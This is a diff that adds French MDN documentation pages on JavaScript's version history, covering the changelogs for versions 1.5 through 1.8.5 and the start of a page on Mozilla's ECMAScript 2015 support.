+<div>Ce document liste les modifications apportées avec JavaScript 1.5. Cette version était incluse dans Netscape Navigator 6.0 qui est sorti le 14 novembre 2000. Cette version de JavaScript fut également utilisée dans les versions suivantes de Netscape Navigator et dans Firefox 1.0. JavaScript 1.5 peut être comparé à JScript 5.5 et Internet Explorer 5.5, qui fut sorti en juillet 2000. Le standard ECMA correspondant est la troisième édition d'ECMA-262 (décembre 1999).</div>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.5">Nouvelles fonctionnalités de JavaScript 1.5</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const"><code>const</code></a> est désormais <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Mots-clés_réservés_selon_ECMAScript_2015">un mot réservé</a></li>
+ <li>Il est possible d'utiliser plusieurs clauses <code>catch</code> au sein d'une instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/try...catch"><code>try...catch</code></a>.</li>
+ <li>Il est désormais possible d'ajouter des accesseurs et des mutateurs pour les propriétés d'un objet.</li>
+</ul>
+
+<h2 id="Fonctionnalités_modifiées_avec_JavaScript_1.5">Fonctionnalités modifiées avec JavaScript 1.5</h2>
+
+<ul>
+ <li>Les erreurs d'exécution sont désormais rapportées comme des exceptions.</li>
+ <li>Les modifications liées aux expressions rationnelles :
+  <ul>
+   <li>Les quantificateurs — +, *, ? et {} — peuvent désormais être suivis par un ? pour ne pas être gloutons.</li>
+   <li>Les parenthèses non-capturantes (?:x) peuvent être utilisées à la place des parenthèses capturantes. Les expressions correspondantes pour ces groupes ne pourront pas être utilisées dans des références.</li>
+   <li>Les assertions pour le contexte avant et après sont supportées.</li>
+   <li>Le drapeau (<em>flag</em>) <code>m</code> a été ajouté pour spécifier si l'expression rationnelle doit rechercher une correspondance sur plusieurs lignes ou non.</li>
+  </ul>
+ </li>
+ <li>Les fonctions peuvent désormais être déclarées au sein d'une clause <code>if</code>.</li>
+ <li>
+  <p>Les fonctions peuvent désormais être déclarées au sein d'une expression.</p>
+ </li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.6/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.6/index.html
new file mode 100644
index 0000000000..c45e80840a
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.6/index.html
@@ -0,0 +1,33 @@
+---
+title: Nouveautés de JavaScript 1.6
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.6
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ce document liste les modifications apportées avec JavaScript 1.6. Cette version fut incluse avec Firefox 1.5 (Gecko 1.8) sorti en novembre 2005. Le standard ECMA correspondant est la troisième édition d'ECMA-262 et ECMAScript for XML (E4X) définit des fonctionnalités additionnelles. Plusieurs fonctionnalités furent introduites avec cette version : E4X, des nouvelles méthodes pour <code>Array</code> et les méthodes génériques pour <code>Array</code> et <code>String</code>.</p>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.6">Nouvelles fonctionnalités de JavaScript 1.6</h2>
+
+<ul>
+ <li>Ajout du support pour ECMAScript pour XML (<a href="/en-US/docs/Archive/Web/E4X">E4X</a>) afin de créer et de traiter des documents <a href="/en-US/docs/Glossary/XML">XML</a> avec <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Voir la page <a href="/en-US/docs/Archive/Web/E4X/Processing_XML_with_E4X">manipuler du XML avec E4X</a> pour plus de détails.</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/indexOf"><code>Array.prototype.indexOf()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/lastIndexOf"><code>Array.prototype.lastIndexof()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/every"><code>Array.prototype.every()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/filter"><code>Array.prototype.filter()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach"><code>Array.prototype.forEach()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/map"><code>Array.prototype.map()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/some"><code>Array.prototype.some()</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Array_generic_methods">Méthodes génériques pour les tableaux</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String#M.C3.A9thodes_g.C3.A9n.C3.A9riques_de_String">Méthodes génériques pour les chaînes </a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for_each...in"><code>for each...in</code></a></li>
+</ul>
+
+<h2 id="Fonctionnalités_modifiées_avec_JavaScript_1.6">Fonctionnalités modifiées avec JavaScript 1.6</h2>
+
+<ul>
+ <li>Le {{bug(292215)}} a été corrigé :  <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments"><code>arguments[n]</code></a> ne pouvait être défini/modifié si <code>n</code> était supérieur au nombre d'arguments explicitement déclarés dans la fonction.</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.7/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.7/index.html
new file mode 100644
index 0000000000..b88fa1606e
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.7/index.html
@@ -0,0 +1,38 @@
+---
+title: Nouveautés de JavaScript 1.7
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.7
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.7
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Cette page présente le journal des modifications (<em>changelog</em>) pour JavaScript 1.7. Cette version de Javascript a été incluse dans <a href="/fr/Firefox/Releases/2">Firefox 2</a> (Octobre 2006).</p>
+
+<p>JavaScript 1.7 est une mise à jour du langage qui introduit plusieurs nouvelles fonctionnalités, en particulier : les générateurs et les itérateurs, la définition de tableaux par compréhension, les expressions <code>let</code> et l'assignation par décomposition.</p>
+
+<h2 id="Utilisation_de_JavaScript_1.7">Utilisation de JavaScript 1.7</h2>
+
+<p>Afin de pouvoir utiliser certaines des nouvelles fonctionnalités de JavaScript 1.7, il est nécessaire de spécifier qu'on utilise JavaScript 1.7. Dans du code HTML ou XUL, on utilisera :</p>
+
+<pre class="brush: html">&lt;script type="application/javascript;version=1.7"&gt;&lt;/script&gt;
+</pre>
+
+<p>Si vous utilisez le <a href="/fr/Introduction_au_shell_JavaScript">shell JavaScript</a>, vous devrez définir la version utilisée à l'aide de l'argument en ligne de commande <code>-version 170</code> ou de la fonction <code>version()</code> :</p>
+
+<pre class="eval">version(170);
+</pre>
+
+<p>Pour utiliser les fonctionnalités nécessitant l'utilisation des nouveaux mots-clés « <code>yield</code> » et « <code>let</code> », il est obligatoire de spécifier l'utilisation de la version 1.7, les scripts existants pouvant utiliser ces mots-clés comme noms de variables ou de fonctions. Les fonctionnalités n'utilisant pas de nouveaux mots-clés (assignations déstructurantes et définitions de tableaux par compréhension) peuvent être utilisées sans préciser la version de JavaScript.</p>
+
+<h2 id="Nouvelles_fonctionnalités_dans_JavaScript_1.7">Nouvelles fonctionnalités dans JavaScript 1.7</h2>
+
+<p>Les fonctionnalités suivantes ont été ajoutées à JavaScript 1.7 et ne faisaient partie d'aucun standard ECMA-262 lors de leur introduction. Dans les versions plus récentes de Firefox, leur implémentation a été mise à jour de façon à respecter la sémantique de ECMAScript Edition 6. Veuillez consulter les pages de référence pour plus d'informations sur ces évolutions.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Itérateur et générateurs</a></li>
+ <li>{{jsxref('Opérateurs/Compréhensions_de_tableau', 'Compréhension de tableau', '#Diff.C3.A9rences_avec_les_compr.C3.A9hensions_pr.C3.A9c.C3.A9dentes_JS1.7.2FJS1.8', '1')}}</li>
+ <li>Instruction {{jsxref('Instructions/let', 'let')}}, le support de l'expression <code>let</code> est abandonné à partir de Gecko 41 ({{bug(1023609)}}).</li>
+ <li>{{jsxref('Opérateurs/Affecter_par_décomposition', 'Affectation par décomposition', '', '1')}} (Le support de la méthode de décomposition qui était anciennement utilisée pour JS1.7 pour for...in a été abandonnée avec Gecko 40 ({{bug(1083498)}}))</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.1/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..3b2a3b16a0
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.1/index.html
@@ -0,0 +1,30 @@
+---
+title: Nouveautés de JavaScript 1.8.1
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.8.1
+tags:
+  - Firefox 3.5
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Cette page présente le journal des modifications (<em>changelog</em>) pour JavaScript 1.8.5. Cette version de Javascript a été introduite dans <a href="/fr/Firefox/Releases/3.5">Firefox 3.5</a>.</p>
+
+<p>JavaScript 1.8.1 est une version de mise à jour mineure de JavaScript du point de vue de la syntaxe. Le principal changement lié à cette version est l'ajout du <a href="/en-US/docs/SpiderMonkey/Internals/Tracing_JIT" title="SpiderMonkey/Internals/Tracing JIT">compilateur juste-à-temps Tracemonkey <em>(en anglais)</em></a>, qui améliore les performances.</p>
+
+<h2 id="Nouvelles_fonctionnalités_dans_JavaScript_1.8.1">Nouvelles fonctionnalités dans JavaScript 1.8.1</h2>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li><a href="/fr/docs/JavaScript/Guide/Utiliser_le_JSON_natif" title="Utiliser JSON avec Firefox">Support de JSON en natif</a></li>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}}</li>
+</ul>
+
+<h2 id="Changements_apportés_par_JavaScript_1.8.1">Changements apportés par JavaScript 1.8.1</h2>
+
+<ul>
+ <li>La définition implicite de propriétés dans les initialisateurs d'objets et de tableaux n'utilisent plus les setters. Cela permet de rendre le comportement des définitions plus prévisible et compréhensible.</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.5/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..1e03d6f2a0
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8.5/index.html
@@ -0,0 +1,128 @@
+---
+title: Nouveautés de JavaScript 1.8.5
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.8.5
+tags:
+  - ECMAScript 5
+  - Firefox 4
+  - JavaScript
+  - JavaScript 1.8.5
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Cette page présente le journal des modifications (<em>changelog</em>) pour JavaScript 1.8.5. Cette version de Javascript a été introduite dans <a href="/fr/Firefox/Releases/4">Firefox 4</a>.</p>
+
+<h2 id="Nouvelles_fonctionnalités_dans_JavaScript_1.8.5">Nouvelles fonctionnalités dans JavaScript 1.8.5</h2>
+
+<h3 id="Nouvelles_fonctions">Nouvelles fonctions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Fonction</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Object.create")}}</td>
+   <td>Crée un nouvel objet avec l'objet prototype et les propriétés fournies. {{bug("492840")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperty")}}</td>
+   <td>Ajoute une propriété nommée et avec un descripteur à un objet.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperties")}}</td>
+   <td>Ajoute des propriétés nommées et avec descripteurs à un object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor")}}</td>
+   <td>Renvoie un descripteur de propriété d'une propriété nommée ou d'un objet. {{bug("505587")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.keys")}}</td>
+   <td>Renvoie un tableau avec toutes les propriétés énumérables d'un objet. {{bug("307791")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyNames")}}</td>
+   <td>Renvoie un tableau avec toutes les propriétés (énumérables et non énumérables) d'un objet. {{bug("518663")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.preventExtensions")}}</td>
+   <td>Empêche l'ajout de nouvelles propriétés à un objet. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isExtensible")}}</td>
+   <td>Détermine s'il est possible d'étendre un objet. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.seal")}}</td>
+   <td>Empêche la suppression des propriétés d'un objet par un autre code. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isSealed")}}</td>
+   <td>Détermine si un objet est scellé. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.freeze")}}</td>
+   <td>« Gèle » un objet : un code externe ne peut pas supprimer ou changer des propriétés {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isFrozen")}}</td>
+   <td>Détermine si un objet a été gelé. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.isArray")}}</td>
+   <td>Vérifie si une variable est un tableau.  {{bug("510537")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Date.prototype.toJSON")}}</td>
+   <td>Renvoie une chaîne de caractères JSON depuis un objet <code>Date</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Function.prototype.bind")}}</td>
+   <td>Crée une nouvelle fonction qui, lorsqu'elle est appelée, appelle elle-même cette fonction dans le contexte fourni (avec une séquence d'arguments) {{bug("429507")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Nouvelles_fonctionnalités_ECMAScript5">Nouvelles fonctionnalités ECMAScript5</h3>
+
+<ul>
+ <li>Les opérateurs {{jsxref("Fonctions/get", "get")}} et {{jsxref("Fonctions/set", "set")}} permettent désormais à l'identifiant d'être une chaîne ou un nombre. {{bug("520696")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}} accepte désormais les objets analogues à des tableaux et non plus seulement des tableaux</li>
+ <li>{{jsxref("Fonctions_et_portee_des_fonctions/Strict_mode", "Support du mode strict")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}} fonctionne désormais sur les objets qui ne sont pas des tableaux en renvoyant le résultat de sa méthode {{jsxref("Array.prototype.join()", "join()")}} si elle existe, ou bien en appelant sa méthode {{jsxref("Object.prototype.toString()", "toString()")}}.</li>
+</ul>
+
+<h3 id="Avancées_de_standardisation">Avancées de standardisation</h3>
+
+<p>Les diverses syntaxes non-standard utilisées pour définir les getters et les setters ont été retirées. La syntaxe définie dans ECMAScript 5 n'a pas été changée. Ces syntaxes étaient assez obscures et rarement utilisées : si vous pensez être concerné, veuillez lire cet <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">article de blog (<em>anglais</em>)</a> pour plus de détails.</p>
+
+<h3 id="Nouveaux_objets">Nouveaux objets</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Objet</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Ancienne API Proxy</a></td>
+   <td>Offre un support pour la création de proxies d'<code>Object</code> et <code>Function</code> permettant la méta-programmation en JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Changements_apportés_par_JavaScript_1.8.5">Changements apportés par JavaScript 1.8.5</h2>
+
+<ul>
+ <li>ISO 8601 est supporté pour l'objet <code>Date</code> : La méthode {{jsxref("Date.parse()", "parse()")}} de l'objet {{jsxref("Date")}} supporte désormais les chaînes de date au format ISO 8601.</li>
+ <li>Les objets globaux sont en lecture seule : Les objets globaux {{jsxref("NaN")}}, {{jsxref("Infinity")}}, et {{jsxref("undefined")}} ont été passés en lecture seule afin de respecter la spécification ECMAScript5.</li>
+ <li>{{jsxref("Object.Parent", "Object.prototype.__parent__")}} et {{jsxref("Object.Count", "Object.prototype.__count__")}} deviennent obsolètes. Pour plus d'informations à ce sujet vous pouvez consulter les pages suivantes (&lt;em&gt;en anglais&lt;/em&gt;) : <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed (<em>anglais</em>)</a>, {{bug("551529")}} et {{bug("552560")}}.</li>
+ <li>Les virgules en fin de chaines ne sont plus acceptées par la méthode {{jsxref("JSON.parse()")}}.</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8/index.html
new file mode 100644
index 0000000000..b9574c34ab
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.8/index.html
@@ -0,0 +1,41 @@
+---
+title: Nouveautés de JavaScript 1.8
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.8
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Cette page présente le journal des modifications (<em>changelog</em>) pour JavaScript 1.8. Cette version de Javascript a été introduite dans <a href="/fr/Firefox/Releases/3">Firefox 3</a> avec Gecko 1.9. Consultez le {{ Bug(380236) }} pour suivre les progrès du développement de JavaScript 1.8.</p>
+
+<h2 id="Utilisation_de_JavaScript_1.8" name="Utilisation_de_JavaScript_1.8">Utilisation de JavaScript 1.8</h2>
+
+<p>Afin d'utiliser certaines des nouvelles fonctionnalités de JavaScript 1.8, utilisez :</p>
+
+<pre class="brush: html">&lt;script type="application/javascript;version=1.8"&gt;
+  ... votre code ...
+&lt;/script&gt;
+</pre>
+
+<p>Une autre méthode (non recommandée) consiste à utiliser l'attribut déprécié <code>language</code> de la balise <code> &lt;script&gt;</code> avec la valeur « JavaScript1.8 ».</p>
+
+<p>Lorsque vous utilisez le <a href="/fr/Introduction_au_shell_JavaScript">shell JavaScript</a>, des composants XPCOM JavaScript ou des éléments <code>&lt;script&gt;</code> XUL, la dernière version de JavaScript (JavaScript 1.8 dans Mozilla 1.9) est utilisée automatiquement (cf. {{ Bug(381031) }}, {{ Bug(385159) }}).</p>
+
+<p>Pour utiliser les fonctionnalités nécessitant l'utilisation des nouveaux mots-clés « <code>yield</code> » et « <code>let</code> », la version 1.7 ou supérieure doit être spécifiée, car du code existant peut utiliser ces mots-clés comme noms de variables ou de fonctions. Les fonctionnalités qui n'utilisent pas de nouveaux mots-clés (comme les expressions génératrices) peuvent être utilisés sans préciser la version de JavaScript.</p>
+
+<h2 id="Nouvelles_fonctionnalités_dans_JavaScript_1.8">Nouvelles fonctionnalités dans JavaScript 1.8</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/Expression_Closures", "Expressions de fermetures")}} (<em>Expression Closures</em>).</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs#Expression_g.C3.A9n.C3.A9ratrices">Expression génératrices</a>. Facilite la création de générateurs (introduits avec <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.7" title="Nouveauté dans JavaScript 1.7">JavaScript 1.7</a>). Auparavant pour créer un générateur il fallait écrire une fonction contenant l'instruction <code>yield</code>. Les expressions génératrices permettent de créer le même générateur à l'aide d'une syntaxe proche d'une liste en compréhension.</li>
+ <li>{{jsxref('Array.prototype.reduce()')}}</li>
+ <li>{{jsxref('Array.prototype.reduceRight()')}}</li>
+</ul>
+
+<h2 id="Changements_apportés_par_JavaScript_1.8">Changements apportés par JavaScript 1.8</h2>
+
+<h3 id="Affectation_par_décomposition_dans_les_boucles_for...in">Affectation par décomposition dans les boucles <code>for...in</code></h3>
+
+<p>L'une des modifications apportées par JavaScript 1.8 est la correction d'un bug lié à l'{{ jsxref('Opérateurs/Affecter_par_décomposition', 'Affection par décomposition de tableaux') }}, introduite avec JavaScript 1.7. Il était auparavant possible de décomposer les clés et valeurs d'un tableau avec la syntaxe <code>for ( var [clé, valeur] in tableau )</code>. Cela rendait cependant impossible la décomposition des valeurs d'un tableau de tableaux. Ce bug a été résolu ({{ Bug("366941") }}), et la syntaxe a utiliser est devenue la suivante : <code>for ( var [clé, valeur] in Iterator(tableau))</code>.</p>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/index.html
new file mode 100644
index 0000000000..c6140c5323
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/index.html
@@ -0,0 +1,72 @@
+---
+title: Nouveautés et historique de JavaScript
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript
+tags:
+  - ECMAScript
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ce chapitre contient des informations sur l'historique des versions de JavaScript et sur le statut de l'implémentation des applications basées sur SpiderMonkey telles que Firefox.</p>
+
+<h2 id="Versions_d'ECMAScript">Versions d'ECMAScript</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Language_Resources">Ressources sur le language</a></dt>
+ <dd>Plus d'informations sur les standards ECMAScript sur lesquels est basé JavaScript.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/Support_ECMAScript_5_par_Mozilla">Support d'ECMAScript 5</a></dt>
+ <dd>Le statut d'implémentation relatif à l'édition 5.1 du standard ECMA-262 pour les moteurs et les produits Mozilla.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/Support_ECMAScript_2015_par_Mozilla">Support d'ECMAScript 2015</a></dt>
+ <dd>Le statut d'implémentation relatif à l'édition 6 du standard ECMA-262 (ES2015/ES6) pour les moteurs et les produits Mozilla.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/Support_ECMAScript_Next_par_Mozilla">Support d'ECMAScript Next</a></dt>
+ <dd>Le statut d'implémentation relatif aux éditions à venir du standard ECMA-262 qui suit désormais un rythme annuel (ES2016/ES2017/ES2018/etc.) pour les moteurs et les produits Mozilla.</dd>
+</dl>
+
+<h2 id="Notes_des_versions_JavaScript">Notes des versions JavaScript</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/liste_changements_JavaScript_par_version_Firefox">Notes des versions de Firefox pour les fonctionnalités liées à JavaScript</a></dt>
+ <dd>Ces notes de versions décrivent les fonctionnalités JavaScript implémentées à partir de Firefox 5.</dd>
+</dl>
+
+<h2 id="Versions_de_JavaScript">Versions de JavaScript</h2>
+
+<p><strong>Notion dépréciée</strong> ({{deprecated_inline()}}). Le versionnement de JavaScript et le ciblage de la version pour les fonctionnalités est spécifique à Mozilla et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">est en cours de suppression</a>. Firefox 4 fut la dernière version de Firefox qui fait référence à une version de JavaScript (en l'occurence la version 1.8.5). Avec les standards ECMA, les fonctionnalités de JavaScript sont désormais mentionnées avec l'édition ECMA-262 qui comporte leur définition initiale, par exemple ECMAScript 2015 (ES2015/ES6).</p>
+
+<p>JavaScript fut publié avec la version 1.0 en mars 1996 dans les logiciels Netscape Navigator 2.0 et Internet Explorer 2.0.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
+ <dd>La version livrée avec Netscape Navigator 3.0. Sortie le 19 août 1996.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
+ <dd>La version livrée avec Netscape Navigator 4.0-4.05. Sortie le 11 juin 1997.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
+ <dd>La version livrée avec Netscape Navigator 4.06-4.7x. Sortie le 19 octobre 1998.<br>
+ Travail de standardisation pour la mise aux normes par rapport aux deux premières édition d'ECMA-262.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
+ <dd>La version livrée pour le JavaScript côté serveur de Netscape. Sortie en 1999.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
+ <dd>La version livrée avec Netscape Navigator 6.0 et Firefox 1.0. Sortie le 14 novembre 2000.<br>
+ Travail de standardisation pour la mise aux normes par rapport à la troisième édition d'ECMA-262.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Version livrée avec Firefox 1.5. Sortie en novembre 2005.<br>
+ Inclue ECMAScript pour XML (E4X), de nouvelles méthodes pour <code>Array</code> et les méthodes génériques pour <code>String</code> et <code>Array</code>.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Version livrée avec Firefox 2. Sortie en octobre 2006.<br>
+ Inclue les générateurs et itérateurs historiques (différents de ceux définis par ECMAScript 2015 (ES6)), les compréhensions de tableaux, les expressions <code>let</code> et l'affectation par décomposition.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Version livrée avec Firefox 3. Sortie en juin 2008.<br>
+ Inclue les expressions pour les fermetures, les expressions de générateurs (ancienne version, différente de celles d'ECMAScript 2015 (ES6)) et <code>Array.reduce()</code></dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Version livrée avec Firefox 3.5. Sortie le 30 juin 2009.<br>
+ Inclue le compilateur JIT TraceMonkey et le support du JSON natif.</dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Version livrée avec Firefox 3.6. Sortie le 22 juin 2009.<br>
+ Inclue uniquement quelques changements mineurs.</dd>
+ <dt><a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Version livrée avec Firefox 4. Sortie le 27 juillet 2010.<br>
+ Inclue de nombreuses fonctionnalités pour la mise aux normes par rapport à la cinquième édition d'ECMA-262 Edition 5.<br>
+ Cette version est la dernière version de JavaScript utilisant cette méthode dépréciée pour la numérotation.</dd>
+</dl>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_2015_par_mozilla/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_2015_par_mozilla/index.html
new file mode 100644
index 0000000000..cbfddccb7a
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_2015_par_mozilla/index.html
@@ -0,0 +1,273 @@
+---
+title: Support d'ECMAScript 6 par Mozilla
+slug: >-
+  Web/JavaScript/Nouveautés_et_historique_de_JavaScript/Support_ECMAScript_2015_par_Mozilla
+tags:
+  - ECMAScript 2015
+  - Firefox
+  - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 2015 (sixième édition) est la version actuelle pour le langage ECMAScript. C'est le standard qui définit l'implémentation de <a href="/fr/docs/Web/JavaScript">JavaScript</a>, notamment pour <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, le moteur utilisé par Firefox et les autres applications Mozilla.</p>
+
+<p>Cette version est appelée avec le nom de code « ES.next », « Harmony » ou « ECMAScript 6 ». <a href="https://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Les brouillons de spécification</a> (aussi appelés <em>drafts</em>) se trouvent sur le wiki officiel d'ECMA. Le premier draft basé sur ECMAScript 5.1, a été publié le 12 juillet 2011 sous le nom « ES.next ». À partir d'août 2014, ECMAScript 2015 n'a plus accepté de nouvelles fonctionnalités et a été stabilisé. Il a été officiellement approuvé et fut publié le 17 juin 2015 par l'assemblée générale ECMA. Ce standard apparaîtra également sur le standard international ISO/IEC 16262:2016.</p>
+
+<p>Une version <a href="https://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a> et une version <a href="https://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a> du standard sont disponibles et peuvent être librement téléchargéees sur <a href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">ecma-international.org</a>.</p>
+
